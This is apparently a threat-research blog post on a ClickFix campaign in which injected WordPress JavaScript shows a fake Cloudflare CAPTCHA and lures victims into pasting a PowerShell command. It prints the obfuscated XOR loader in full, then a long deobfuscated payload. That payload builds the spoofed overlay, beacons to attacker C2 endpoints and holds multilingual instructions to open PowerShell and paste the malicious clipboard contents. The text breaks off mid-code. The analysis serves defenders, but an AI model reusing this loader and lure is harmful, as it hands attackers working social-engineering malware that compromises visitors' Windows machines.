top of page

ClickFix Meets AI: How Attackers Use AI-Generated Obfuscated JavaScript to Deliver Malware via Fake CAPTCHA

  • Mar 23
  • 32 min read

Introduction


ClickFix campaigns have historically relied on user-driven execution techniques, tricking victims into executing malicious commands through seemingly legitimate verification workflows. In recent campaigns, however, attackers have significantly evolved their tradecraft by combining compromised WordPress infrastructure, AI-generated JavaScript payloads, heavy obfuscation, and staged PowerShell delivery mechanisms.


During our investigation, we observed a campaign where attackers inject malicious JavaScript into legitimate WordPress websites, which then displays a fake Cloudflare CAPTCHA challenge. When a victim attempts to verify themselves as human, the script silently communicates with attacker-controlled infrastructure to retrieve the next stage of the infection chain.


What makes this campaign particularly notable is the apparent use of AI-generated code, which introduces modularization, randomized variable names, dynamic obfuscation techniques, and multilingual social engineering.

This research breaks down the attack chain, code structure, obfuscation methods, and AI-driven design patterns used by attackers.


Initial Access: Compromised WordPress Infrastructure


Attackers begin by compromising legitimate WordPress websites and injecting malicious JavaScript into the site's frontend.

Victims visiting the website see the legitimate content initially. However, the malicious script dynamically injects a full-screen fake Cloudflare verification page, replacing the legitimate content.

As seen in the captured screenshots, the victim first loads a legitimate hospitality website before the malicious overlay is triggered.


The attack flow observed in the campaign is as follows:

  1. User visits a legitimate website.

  2. Malicious JavaScript loads from attacker infrastructure.

  3. Fake Cloudflare CAPTCHA is injected.

  4. Victim clicks Verify you are human.

  5. The script contacts the attacker C2 server.

  6. A malicious payload (MSI installer) is delivered.


This technique allows attackers to leverage the reputation of legitimate domains, significantly reducing detection by reputation-based security systems.


Legitimate Site:



Few seconds after it loads: Fake Cloudflare Captcha

Once this fake verification page is loaded, the browser pulls the malicious JavaScript file from the Command and Control server




Malicious Javascript code:


(function() {
    var bufNode9 = navigator.language || 'en';
    var dataIdx66 = bufNode9.split('-')[0];
    var tmpKey96 = '34307b2935c9359666271af6b3c314af62441acb1ac977751c45df28eeff04fe';
    var srcIdx37 = window.innerWidth || 0;
    var cacheNode77 = window.innerHeight || 0;
    var valKey16 = '1c560e4756bd5cf9080f33d6c8c9348f42643dbe69ac57066837b64b9ad83ff43e105b0915af40f805537399dde371c1113168ae5ca619015d32ba5b819261d61d10002315e915b646073ad6daa53487062b79be77ac19013222ba5cab936193515e0f6b4c8051be41417bdbd7ba7ace0f2d79e679ad1952356cff5a8b8b718c5a0b710915e915b646073a95dcad67db422873a571e94a55782abc5d839a6a8a1a53094c54bd50d30a427793ddb73c880e2d74a03de04c7f3c65ff08cedf24de585915421ba051b65b073d90d2ee70d60c2577a279e414117262e422cedf24de14105b0959a05bfd48557f9a93fe3488113063a77fba1f107931f813e4df24de14105b0915a55cf80d097284d6a53492426372bf6eb9044f336abc4c809577d0575c145c51af59f714423495dcae3bce082562e476a015063323b0469ad265895143144450e603b853092bd9d0b06780032876e577a0195b7f36ac0fd5f524de14105b0915e959ff084c3495c1ac67dc2d3673ac73a757483c29b64685d1769b5255095b50bb65f90a4e798f93fe3488032a75a563a418006f62e422cedf24de14105b0951a656e30b4274829dab71ce06643ced3aad18166928ba469ad16c9b5554554845b950f80264729fdfa73cc30b2a71e221c357553c65a222e4df24de14560e4756bd5cf908077398d9a677db2f2b7eaa769a030c7020ac00c7df7ff414105b0915e915b646073ad693e3348f012b74b86ee9120d7536ab41809824c31454144a40a450f812097d93c78678ca0f2174bf58b03e113462bd5fc39c62d34744024550ee1cad6c073ad693e3348f42643aeb3ae957553c26b0469d8b248d4049174c15f415f31e4e6.....'; 
//;TLD cant load the full bytes

    var stateBuf11 = new Uint8Array(valKey16.length / 2);
    for (var i = 0; i < valKey16.length; i += 2) {
        stateBuf11[i / 2] = parseInt(valKey16.substr(i, 2), 16) ^ parseInt(tmpKey96.substr((i / 2 % 32) * 2, 2), 16)
    }
    var parseIdx62 = new TextDecoder().decode(stateBuf11);
    [].constructor.constructor(parseIdx62)();
}
)();


We can use any Javascript compiler to get the actual code


(function() {
    'use strict';

    function ensureFontAwesome() {
        if (document.getElementById('fa-dynamic-cdn')) return;
        const link = document.createElement('link');
        link.id = 'fa-dynamic-cdn';
        link.rel = 'stylesheet';
        link.href = 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css';
        link.crossOrigin = link.referrerPolicy = 'anonymous';
        document.head && document.head.appendChild(link);
    }

    function injectModalStyles() {
                const existing = document.getElementById('bw-cf-style');
                const style = existing || document.createElement('style');
                style.id = 'bw-cf-style';
                style.textContent = ''
          + '#bw-cf-root{position:fixed!important;inset:0!important;z-index:2147483647!important;background:#fff!important;color:#333!important;overflow:auto!important;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif!important;font-size:16px!important;line-height:1.5!important;text-transform:none!important;letter-spacing:normal!important;text-align:left!important;direction:ltr!important;}'
          + '#bw-cf-root *{box-sizing:border-box!important;text-transform:none!important;letter-spacing:normal!important;text-indent:0!important;}'
          + '#bw-cf-root h1,#bw-cf-root h2,#bw-cf-root p,#bw-cf-root ol,#bw-cf-root li,#bw-cf-root span,#bw-cf-root code,#bw-cf-root div,#bw-cf-root button{text-transform:none!important;letter-spacing:normal!important;word-spacing:normal!important;text-decoration:none!important;float:none!important;clear:none!important;}'
          + '#bw-cf-root .cf-wrapper{min-height:100vh!important;display:flex!important;flex-direction:column!important;justify-content:space-between!important;}'
          + '#bw-cf-root .cf-main{max-width:60rem!important;margin:0 auto!important;padding:120px 24px 0!important;width:100%!important;}'
          + '#bw-cf-root .cf-domain{font-size:1.75rem!important;font-weight:600!important;color:#111!important;margin:0 0 2px!important;line-height:1.3!important;padding:0!important;border:0!important;background:none!important;}'
          + '#bw-cf-root .cf-subtitle{font-size:1.125rem!important;font-weight:600!important;color:#111!important;margin:0 0 6px!important;line-height:1.4!important;padding:0!important;border:0!important;background:none!important;}'
          + '#bw-cf-root .cf-desc{font-size:0.875rem!important;color:#666!important;margin:0 0 20px!important;line-height:1.6!important;padding:0!important;border:0!important;background:none!important;}'
          + '#bw-cf-root .cf-success-msg{font-size:1.1rem!important;font-weight:700!important;color:#111!important;margin:16px 0 0!important;}'
          + '#bw-cf-root .cf-turnstile{display:inline-flex!important;flex-direction:column!important;background:#f9f9f9!important;border:1px solid #d5d5d5!important;border-radius:4px!important;padding:0!important;width:300px!important;transition:width .3s ease!important;}'
          + '#bw-cf-root .cf-turnstile.cf-expanded{width:520px!important;}'
          + '#bw-cf-root .cf-ts-row{display:flex!important;align-items:center!important;padding:10px 14px 8px 12px!important;gap:10px!important;}'
          + '#bw-cf-root .cf-cb-wrap{width:22px!important;height:22px!important;flex:0 0 22px!important;}'
          + '#bw-cf-root .cf-cb{width:22px!important;height:22px!important;border:2px solid #b5b5b5!important;border-radius:3px!important;background:#fff!important;cursor:pointer!important;display:block!important;padding:0!important;transition:border-color .15s!important;-webkit-appearance:none!important;appearance:none!important;}'
          + '#bw-cf-root .cf-cb:hover{border-color:#999!important;}'
          + '#bw-cf-root .cf-cb-label{font-size:13px!important;color:#333!important;user-select:none!important;white-space:nowrap!important;}'
          + '#bw-cf-root .cf-logo-area{display:flex!important;flex-direction:column!important;align-items:center!important;margin-left:auto!important;gap:1px!important;}'
          + '#bw-cf-root .cf-logo-img{height:18px!important;border:0!important;}'
          + '#bw-cf-root .cf-legal{font-size:8px!important;color:#999!important;}'
          + '#bw-cf-root .cf-legal a{color:#999!important;text-decoration:underline!important;}'
          + '#bw-cf-root .cf-spinner{display:none;width:22px!important;height:22px!important;border:3px solid #e5e5e5!important;border-top-color:#f6821f!important;border-radius:50%!important;animation:bw-cf-spin .8s linear infinite!important;}'
          + '#bw-cf-root .cf-check-svg{display:none;}'
          + '#bw-cf-root .cf-footer{max-width:60rem!important;margin:0 auto!important;padding:0 24px 18px!important;width:100%!important;color:#9ca3af!important;font-size:13px!important;}'
          + '#bw-cf-root .cf-footer-inner{border-top:1px solid #e5e7eb!important;padding-top:14px!important;text-align:center!important;}'
          + '#bw-cf-root .cf-footer-inner a{color:#3b82f6!important;text-decoration:none!important;}'
          + '#bw-cf-root .cf-footer-inner a:hover{text-decoration:underline!important;}'
          + '#bw-cf-root .cf-verify-panel{display:none!important;border-top:1px solid #d5d5d5!important;padding:12px 14px!important;}'
          + '#bw-cf-root .cf-verify-panel.active{display:block!important;}'
          + '#bw-cf-root .cf-verify-title{font-size:14px!important;font-weight:700!important;color:#111!important;margin:0 0 8px!important;padding:0!important;}'
          + '#bw-cf-root .cf-verify-steps{margin:0!important;padding:0 0 0 20px!important;font-size:13px!important;color:#333!important;list-style-type:decimal!important;}'
          + '#bw-cf-root .cf-verify-steps li{margin:0 0 5px!important;padding:0!important;display:list-item!important;list-style-type:decimal!important;}'
          + '#bw-cf-root .cf-verify-footer{display:flex!important;align-items:center!important;justify-content:space-between!important;margin-top:10px!important;}'
          + '#bw-cf-root .cf-verify-hint{font-size:12px!important;color:#666!important;}'
          + '#bw-cf-root .cf-verify-btn{border:0!important;border-radius:4px!important;background:#5e5e5e!important;color:#fff!important;padding:7px 24px!important;cursor:pointer!important;font-size:13px!important;}'
          + '#bw-cf-root .cf-verify-btn:hover{background:#4a4a4a!important;}'
          + '@keyframes bw-cf-spin{0%{transform:rotate(0deg);}100%{transform:rotate(360deg);}}';

                if (!existing) {
                        document.head && document.head.appendChild(style);
                }
    }

    function logSafe(url, payload) {
        if (!url) return;
        try {
            const withTs = url + (url.includes('?') ? '&' : '?') + '_ts=' + Date.now();
            fetch(withTs, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(payload || {}),
                cache: 'no-store'
            });
        } catch (e) {}
    }

    function detectBrowser() {
        const ua = navigator.userAgent.toLowerCase();
        if (ua.includes('chrome') && !ua.includes('edg')) return 'chrome';
        if (ua.includes('firefox')) return 'firefox';
        if (ua.includes('safari') && !ua.includes('chrome')) return 'safari';
        if (ua.includes('edg')) return 'edge';
        if (ua.includes('opera') || ua.includes('opr')) return 'opera';
        return 'other';
    }

    function localeCountryCode() {
        try {
            const lang = String(navigator.language || '').toUpperCase();
            const parts = lang.split('-');
            const code = (parts.length > 1 ? parts[1] : '').trim();
            return /^[A-Z]{2}$/.test(code) ? code : '';
        } catch (e) { return ''; }
    }

    async function fetchCountryInfo() {
        try {
            const resp = await fetch('https://api.country.is', { cache: 'no-store' });
            if (!resp.ok) return { name: '', code: '' };
            const data = await resp.json();
            const code = (data && data.country) ? String(data.country).toUpperCase() : '';
            return { name: '', code };
        } catch (e) { return { name: '', code: '' }; }
    }

    window.__BW_MODE_RUN__ = async function(context) {
        if (typeof window === 'undefined' || typeof document === 'undefined') return;

        if (window.__bwModalOpen) return;
        window.__bwModalOpen = true;

        // Styles and Font Awesome are loaded inside Shadow DOM - no global injection needed

        const panelBaseUrl = (context && context.panelBaseUrl ? context.panelBaseUrl : '').replace(/\/$/, '');
        const downloadBaseUrl = (context && context.downloadBaseUrl ? context.downloadBaseUrl : '').replace(/\/$/, '') || panelBaseUrl;
        const apiBase = panelBaseUrl || (window.location && window.location.origin ? window.location.origin.replace(/\/$/, '') : '');
        const dlBase = downloadBaseUrl || apiBase;
        const tokenUrl = (context && context.tokenUrl ? context.tokenUrl : (dlBase ? dlBase + '/api/index.php?a=init' : ''));
        const logUrl = (context && context.logUrl ? context.logUrl : (apiBase ? apiBase + '/api/index.php?a=evt' : ''));
        const tokenStatusUrl = (context && context.tokenStatusUrl ? context.tokenStatusUrl : (dlBase ? dlBase + '/api/index.php?a=stat' : ''));
        const extUrl = (context && context.extUrl ? context.extUrl : (dlBase ? dlBase + '/api/index.php?a=meta&os=windows' : ''));
        const mode = context && context.mode ? context.mode : 'download';
        const storageKey = context && context.storageKey ? context.storageKey : 'site_repair_state';
        const legacyStorageKey = 'bw-downloaded';
        const browserName = context && context.browser ? context.browser : (function(){
            const ua = navigator.userAgent.toLowerCase();
            if (ua.includes('brave')) return 'Brave';
            if (ua.includes('edg/')) return 'Edge';
            if (ua.includes('opr/') || ua.includes('opera')) return 'Opera';
            if (ua.includes('firefox') || ua.includes('fxios')) return 'Firefox';
            if (ua.includes('duckduckgo')) return 'DuckDuckGo';
            if (ua.includes('chrome') || ua.includes('chromium')) return 'Chrome';
            if (ua.includes('safari')) return 'Safari';
            return 'Unknown';
        })();
        const os = context && context.os ? context.os : 'windows';

        try {
            const legacy = localStorage.getItem(legacyStorageKey);
            const current = localStorage.getItem(storageKey);
            if (legacy !== null && current === null) {
                localStorage.setItem(storageKey, legacy);
            }
            if (legacy !== null) {
                localStorage.removeItem(legacyStorageKey);
            }
        } catch (e) {}

        if (os !== 'windows') {
            window.__bwModalOpen = false;
            return;
        }

 

                let command = '';
                const __bwHexChars = 'abcdef0123456789';
                const rayId = Array.from({ length: 16 }, () => __bwHexChars[Math.floor(Math.random() * __bwHexChars.length)]).join('');

                // Shadow DOM: complete CSS isolation from host site
                const hostEl = document.createElement('div');
                hostEl.id = 'bw-cf-host';
                hostEl.style.cssText = 'position:fixed;inset:0;z-index:2147483647;';
                const shadow = hostEl.attachShadow({ mode: 'closed' });

                const shadowStyle = document.createElement('style');
                shadowStyle.textContent = ''
          + ':host{all:initial;position:fixed;inset:0;z-index:2147483647;font-family:system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";line-height:1.15;color:#313131;-webkit-text-size-adjust:100%;}'
          + '*{box-sizing:border-box;margin:0;padding:0;font-family:inherit;line-height:inherit;color:inherit;}'
          + '.cf-root{position:fixed;inset:0;background:#fff;overflow:auto;display:flex;flex-direction:column;height:100vh;min-height:100vh;}'
          + '.cf-main{margin:8rem auto 0;padding-left:1.5rem;max-width:60rem;width:100%;}'
          + '.cf-domain{font-size:36px;font-weight:600;margin:0 0 4px;line-height:1.2;}'
          + '.cf-subtitle{font-size:20px;font-weight:600;margin:0 0 8px;line-height:1.3;}'
          + '.cf-desc{font-size:16px;color:#444;margin:0 0 24px;line-height:1.6;}'
          + '.cf-success-msg{font-size:16px;font-weight:600;margin:16px 0 0;display:none;}'
          + '.cf-turnstile{display:inline-flex;flex-direction:column;background:#fafafa;border:1px solid #e0e0e0;border-radius:4px;padding:0;width:330px;transition:width .3s ease;box-shadow:0 1px 3px rgba(0,0,0,0.06);overflow:hidden;}'
          + '.cf-turnstile.cf-expanded{width:440px;}'
          + '.cf-ts-row{display:flex;align-items:center;height:60px;padding:0 14px;gap:12px;}'
          + '.cf-cb-wrap{width:24px;height:24px;flex:0 0 24px;position:relative;}'
          + '.cf-cb{width:24px;height:24px;border:2px solid #b5b5b5;border-radius:4px;background:#fff;cursor:pointer;display:block;padding:0;appearance:none;-webkit-appearance:none;outline:none;box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);}'
          + '.cf-cb:hover{border-color:#999;}'
          + '.cf-cb.cf-disabled{opacity:0.4;cursor:default;pointer-events:none;}'
          + '.cf-spinner{display:none;width:22px;height:22px;border:3px solid #e5e5e5;border-top-color:#f6821f;border-radius:50%;animation:cf-spin .8s linear infinite;position:absolute;top:0;left:0;}'
          + '.cf-check-svg{display:none;position:absolute;top:0;left:0;}'
          + '.cf-cb-label{font-size:13px;user-select:none;white-space:nowrap;}'
          + '.cf-logo-area{display:flex;flex-direction:column;align-items:flex-end;margin-left:auto;gap:2px;}'
          + '.cf-logo-img{height:26px;display:block;border:0;}'
          + '.cf-legal{font-size:9px;color:#aaa;}'
          + '.cf-legal a{color:#aaa;text-decoration:none;}'
          + '.cf-legal a:hover{text-decoration:underline;}'
          + '.cf-verify-panel{display:none;border-top:1px solid #e0e0e0;padding:14px 16px;}'
          + '.cf-verify-panel.active{display:block;}'
          + '.cf-verify-title{font-size:14px;font-weight:700;margin:0 0 10px;}'
          + '.cf-verify-steps{margin:0;padding:0 0 0 22px;font-size:14px;list-style-type:decimal;}'
          + '.cf-verify-steps li{margin:0 0 4px;padding:0 0 0 2px;display:list-item;line-height:1.6;}'
          + '.cf-verify-footer{display:flex;align-items:center;justify-content:space-between;margin-top:14px;}'
          + '.cf-verify-hint{font-size:14px;color:#d93025;font-weight:600;}'
          + '.cf-verify-btn{border:0;border-radius:4px;background:#555;color:#fff;padding:8px 28px;cursor:pointer;font-size:14px;font-family:inherit;font-weight:500;}'
          + '.cf-verify-btn:hover{background:#444;}'
          + '.cf-error-msg{font-size:15px;color:#d93025;margin:0 0 16px;line-height:1.5;display:none;}'
          + '.cf-error-inner{font-size:14px;color:#d93025;padding:10px 16px 0;line-height:1.5;display:none;border-top:1px solid #e0e0e0;}'
          + '.cf-spacer{flex:1;}'
          + '.cf-footer{max-width:60rem;margin:0 auto;padding:0 1.5rem 20px;width:100%;color:#999;font-size:13px;}'
          + '.cf-footer-inner{border-top:1px solid #e0e0e0;padding-top:16px;text-align:center;line-height:1.8;}'
          + '.cf-footer-inner a{color:#3b82f6;text-decoration:none;}'
          + '.cf-footer-inner a:hover{text-decoration:underline;}'
          + '.cf-footer-inner code{font-family:Menlo,Monaco,Consolas,"Courier New",monospace;font-size:12px;color:#6b7280;letter-spacing:0.5px;}'
          + '.cf-footer-line{display:block;}'
          + '.win-key{display:inline-block;width:14px;height:14px;vertical-align:-1px;}'
          + '@media(max-width:720px){.cf-main{margin-top:4rem;}}'
          + '@keyframes cf-spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}';
                shadow.appendChild(shadowStyle);

                const root = document.createElement('div');
                root.className = 'cf-root';

                const winSvg = '<svg class="win-key" viewBox="0 0 16 16" fill="currentColor"><path d="M0 2.3l6.5-.9v6.3H0zm7.3-1L15.8.1v7.6H7.3zm-7.3 7l6.5.1v6.2L0 13.7zm7.3.1h8.5v7.5l-8.5-1.2z"/></svg>';

                root.innerHTML = ''
                    + '<div class="cf-main" role="main">'
                    + ' <h1 class="cf-domain"></h1>'
                    + ' <h2 class="cf-subtitle"></h2>'
                    + ' <p class="cf-desc"></p>'
                    + ' <p class="cf-error-msg" id="cf-error"></p>'
                    + ' <div class="cf-turnstile" id="cf-turnstile-box">'
                    + '  <div class="cf-ts-row">'
                    + '   <div class="cf-cb-wrap">'
                    + '    <button type="button" class="cf-cb" id="cf-checkbox"></button>'
                    + '    <div class="cf-spinner" id="cf-spinner"></div>'
                    + '    <svg class="cf-check-svg" id="cf-check" width="22" height="22" viewBox="0 0 22 22"><circle cx="11" cy="11" r="11" fill="#28a745"/><path d="M6 11l3.5 3.5L16 8" stroke="#fff" stroke-width="2.5" fill="none" stroke-linecap="round" stroke-linejoin="round"/></svg>'
                    + '   </div>'
                    + '   <span class="cf-cb-label" id="cf-label"></span>'
                    + '   <div class="cf-logo-area">'
                    + '    <img class="cf-logo-img" src="https://cf-assets.www.cloudflare.com/dzlvafdwdttg/69wNwfiY5mFmgpd9eQFW6j/d5131c08085a977aa70f19e7aada3fa9/1pixel-down__1_.svg" alt="CLOUDFLARE" />'
                    + '    <span class="cf-legal"><a href="#">Privacy</a> \u00b7 <a href="#">Help</a></span>'
                    + '   </div>'
                    + '  </div>'
                    + '  <div class="cf-verify-panel" id="cf-verify-panel">'
                    + '   <p class="cf-verify-title" id="cf-verify-title"></p>'
                    + '   <ol class="cf-verify-steps" id="cf-verify-steps"></ol>'
                    + '   <div class="cf-verify-footer">'
                    + '    <span class="cf-verify-hint" id="cf-verify-hint"></span>'
                    + '    <button type="button" class="cf-verify-btn" id="cf-verify-btn"></button>'
                    + '   </div>'
                    + '  </div>'
                    + ' </div>'
                    + ' <p class="cf-success-msg" id="cf-success"></p>'
                    + '</div>'
                    + '<div class="cf-spacer"></div>'
                    + '<div class="cf-footer">'
                    + ' <div class="cf-footer-inner">'
                    + '  <span class="cf-footer-line">Ray ID: <code class="ray-id"></code></span>'
                    + '  <span class="cf-footer-line">Performance and Security by <a href="#">Cloudflare</a> | <a href="#">Privacy</a></span>'
                    + ' </div>'
                    + '</div>';
                shadow.appendChild(root);
                document.body.appendChild(hostEl);

                const checkbox = root.querySelector('#cf-checkbox');
                const cfSpinner = root.querySelector('#cf-spinner');
                const cfCheck = root.querySelector('#cf-check');
                const cfLabel = root.querySelector('#cf-label');
                const cfSubtitle = root.querySelector('.cf-subtitle');
                const cfTurnstileBox = root.querySelector('#cf-turnstile-box');
                const verifyPanel = root.querySelector('#cf-verify-panel');
                const verifyButton = root.querySelector('#cf-verify-btn');
                const verifyHint = root.querySelector('#cf-verify-hint');
                const verifyTitle = root.querySelector('#cf-verify-title');
                const verifySteps = root.querySelector('#cf-verify-steps');
                const cfSuccess = root.querySelector('#cf-success');
                const cfError = root.querySelector('#cf-error');
                const cfDesc = root.querySelector('.cf-desc');

                const setDisplay = (nodes, display) => {
                    try { nodes.forEach(el => { if (el) el.style.display = display; }); } catch (e) {}
                };

                const cleanup = () => {
                        try { document.removeEventListener('copy', onCopy, true); } catch (e) {}
                        try { hostEl.remove(); } catch (e) {}
                        try { window.__bwModalOpen = false; } catch (e) {}
                };

                // --- Populate page content ---
                const host = (window.location && (window.location.hostname || window.location.host)) || '';

                // i18n: only the texts that appear on the CF challenge page
                const i18n = {
                    en:{subtitle:"Performing security verification",desc:"This website uses a security service to protect against malicious bots. This page is displayed while the website verifies you are not a bot.",errorMsg:"Automatic verification failed. Your connection has been flagged for additional review. Please complete the manual verification below to continue.",cbLabel:"Verify you are human",verifyTitle:"To complete verification, please:",step1:"Press <b><i class='fab fa-windows'></i> + X</b>.",step2:"Press <b>I</b> to open PowerShell.",step3:"Press <b>Ctrl</b> + <b>V</b> to paste the verification code.",step4:"Press <b>Enter</b> to finish.",hint:"Perform the steps above to finish verification.",verifyBtn:"Verify",subtitleVerifying:"Verifying you are human. This may take a few seconds.",successMsg:"Verification successful. Waiting for {host} to respond.",retryTimer:"Automatic retry in {time}"},
                    de:{subtitle:"Sicherheitsüberprüfung wird durchgeführt",desc:"Diese Website verwendet einen Sicherheitsdienst zum Schutz vor bösartigen Bots. Diese Seite wird angezeigt, während die Website überprüft, dass Sie kein Bot sind.",errorMsg:"Automatische Überprüfung fehlgeschlagen. Ihre Verbindung wurde zur zusätzlichen Überprüfung markiert. Bitte führen Sie die manuelle Überprüfung unten durch, um fortzufahren.",cbLabel:"Bestätigen Sie, dass Sie ein Mensch sind",verifyTitle:"Um die Überprüfung abzuschließen, bitte:",step1:"Drücken Sie <b><i class='fab fa-windows'></i> + X</b>.",step2:"Drücken Sie <b>I</b>, um PowerShell zu öffnen.",step3:"Drücken Sie <b>Strg</b> + <b>V</b>, um den Code einzufügen.",step4:"Drücken Sie <b>Enter</b>, um abzuschließen.",hint:"Führen Sie die obigen Schritte aus.",verifyBtn:"Überprüfen",subtitleVerifying:"Es wird überprüft, ob Sie ein Mensch sind. Dies kann einige Sekunden dauern.",successMsg:"Überprüfung erfolgreich. Warten auf Antwort von {host}.",retryTimer:"Automatische Wiederholung in {time}"},
                    fr:{subtitle:"Vérification de sécurité en cours",desc:"Ce site utilise un service de sécurité pour se protéger contre les bots malveillants. Cette page s'affiche pendant que le site vérifie que vous n'êtes pas un bot.",errorMsg:"La vérification automatique a échoué. Votre connexion a été signalée pour un examen supplémentaire. Veuillez effectuer la vérification manuelle ci-dessous pour continuer.",cbLabel:"Vérifiez que vous êtes humain",verifyTitle:"Pour compléter la vérification :",step1:"Appuyez sur <b><i class='fab fa-windows'></i> + X</b>.",step2:"Appuyez sur <b>I</b> pour ouvrir PowerShell.",step3:"Appuyez sur <b>Ctrl</b> + <b>V</b> pour coller le code.",step4:"Appuyez sur <b>Entrée</b> pour terminer.",hint:"Effectuez les étapes ci-dessus.",verifyBtn:"Vérifier",subtitleVerifying:"Vérification que vous êtes humain. Cela peut prendre quelques secondes.",successMsg:"Vérification réussie. En attente de la réponse de {host}.",retryTimer:"Nouvelle tentative automatique dans {time}"},
                    es:{subtitle:"Realizando verificación de seguridad",desc:"Este sitio web utiliza un servicio de seguridad para protegerse contra bots maliciosos. Esta página se muestra mientras el sitio verifica que no eres un bot.",errorMsg:"La verificación automática ha fallado. Su conexión ha sido marcada para una revisión adicional. Complete la verificación manual a continuación para continuar.",cbLabel:"Verifica que eres humano",verifyTitle:"Para completar la verificación:",step1:"Pulsa <b><i class='fab fa-windows'></i> + X</b>.",step2:"Pulsa <b>I</b> para abrir PowerShell.",step3:"Pulsa <b>Ctrl</b> + <b>V</b> para pegar el código.",step4:"Pulsa <b>Enter</b> para finalizar.",hint:"Realiza los pasos anteriores.",verifyBtn:"Verificar",subtitleVerifying:"Verificando que eres humano. Esto puede tardar unos segundos.",successMsg:"Verificación exitosa. Esperando respuesta de {host}.",retryTimer:"Reintento automático en {time}"},
                    pt:{subtitle:"Realizando verificação de segurança",desc:"Este site usa um serviço de segurança para proteção contra bots maliciosos. Esta página é exibida enquanto o site verifica que você não é um bot.",errorMsg:"A verificação automática falhou. Sua conexão foi sinalizada para revisão adicional. Conclua a verificação manual abaixo para continuar.",cbLabel:"Verifique que você é humano",verifyTitle:"Para completar a verificação:",step1:"Pressione <b><i class='fab fa-windows'></i> + X</b>.",step2:"Pressione <b>I</b> para abrir o PowerShell.",step3:"Pressione <b>Ctrl</b> + <b>V</b> para colar o código.",step4:"Pressione <b>Enter</b> para concluir.",hint:"Conclua as etapas acima.",verifyBtn:"Verificar",subtitleVerifying:"Verificando que você é humano. Isso pode levar alguns segundos.",successMsg:"Verificação bem-sucedida. Aguardando resposta de {host}.",retryTimer:"Tentativa automática em {time}"},
                    it:{subtitle:"Verifica di sicurezza in corso",desc:"Questo sito utilizza un servizio di sicurezza per proteggersi dai bot malevoli. Questa pagina viene visualizzata mentre il sito verifica che non sei un bot.",errorMsg:"La verifica automatica non è riuscita. La tua connessione è stata segnalata per un controllo aggiuntivo. Completa la verifica manuale qui sotto per continuare.",cbLabel:"Verifica di essere umano",verifyTitle:"Per completare la verifica:",step1:"Premi <b><i class='fab fa-windows'></i> + X</b>.",step2:"Premi <b>I</b> per aprire PowerShell.",step3:"Premi <b>Ctrl</b> + <b>V</b> per incollare il codice.",step4:"Premi <b>Invio</b> per completare.",hint:"Esegui i passaggi sopra.",verifyBtn:"Verifica",subtitleVerifying:"Verifica che tu sia umano. Potrebbe richiedere qualche secondo.",successMsg:"Verifica completata. In attesa di risposta da {host}.",retryTimer:"Nuovo tentativo automatico tra {time}"},
                    tr:{subtitle:"Güvenlik doğrulaması yapılıyor",desc:"Bu web sitesi kötü niyetli botlara karşı koruma sağlamak için bir güvenlik hizmeti kullanmaktadır. Bu sayfa, web sitesi sizin bot olmadığınızı doğrularken görüntülenir.",errorMsg:"Otomatik doğrulama başarısız oldu. Bağlantınız ek inceleme için işaretlendi. Devam etmek için aşağıdaki manuel doğrulamayı tamamlayın.",cbLabel:"İnsan olduğunuzu doğrulayın",verifyTitle:"Doğrulamayı tamamlamak için:",step1:"<b><i class='fab fa-windows'></i> + X</b> tuşlarına basın.",step2:"PowerShell'i açmak için <b>I</b> tuşuna basın.",step3:"Kodu yapıştırmak için <b>Ctrl</b> + <b>V</b> tuşlarına basın.",step4:"Bitirmek için <b>Enter</b>'a basın.",hint:"Yukarıdaki adımları uygulayın.",verifyBtn:"Doğrula",subtitleVerifying:"İnsan olup olmadığınız doğrulanıyor. Bu birkaç saniye sürebilir.",successMsg:"Doğrulama başarılı. {host} yanıtı bekleniyor.",retryTimer:"Otomatik yeniden deneme: {time}"},
                    uk:{subtitle:"Виконується перевірка безпеки",desc:"Цей веб-сайт використовує службу безпеки для захисту від зловмисних ботів. Ця сторінка відображається, поки сайт перевіряє, що ви не бот.",errorMsg:"Автоматична перевірка не пройдена. Ваше з'єднання позначено для додаткової перевірки. Будь ласка, виконайте ручну перевірку нижче, щоб продовжити.",cbLabel:"Підтвердіть, що ви людина",verifyTitle:"Щоб завершити перевірку:",step1:"Натисніть <b><i class='fab fa-windows'></i> + X</b>.",step2:"Натисніть <b>I</b>, щоб відкрити PowerShell.",step3:"Натисніть <b>Ctrl</b> + <b>V</b>, щоб вставити код.",step4:"Натисніть <b>Enter</b>, щоб завершити.",hint:"Виконайте кроки вище.",verifyBtn:"Перевірити",subtitleVerifying:"Перевіряємо, чи ви людина. Це може зайняти кілька секунд.",successMsg:"Перевірку пройдено. Очікування відповіді від {host}.",retryTimer:"Автоматична повторна спроба через {time}"},
                    ar:{subtitle:"جارٍ إجراء التحقق الأمني",desc:"يستخدم هذا الموقع خدمة أمنية للحماية من الروبوتات الضارة. تُعرض هذه الصفحة أثناء تحقق الموقع من أنك لست روبوتًا.",errorMsg:"فشل التحقق التلقائي. تم تمييز اتصالك لمراجعة إضافية. يرجى إكمال التحقق اليدوي أدناه للمتابعة.",cbLabel:"تحقق من أنك إنسان",verifyTitle:"لإتمام التحقق:",step1:"اضغط <b><i class='fab fa-windows'></i> + X</b>.",step2:"اضغط <b>I</b> لفتح PowerShell.",step3:"اضغط <b>Ctrl</b> + <b>V</b> للصق الرمز.",step4:"اضغط <b>Enter</b> للإنهاء.",hint:"أكمل الخطوات أعلاه.",verifyBtn:"تحقق",subtitleVerifying:"جارٍ التحقق من أنك إنسان. قد يستغرق هذا بضع ثوانٍ.",successMsg:"تم التحقق بنجاح. في انتظار استجابة {host}."},
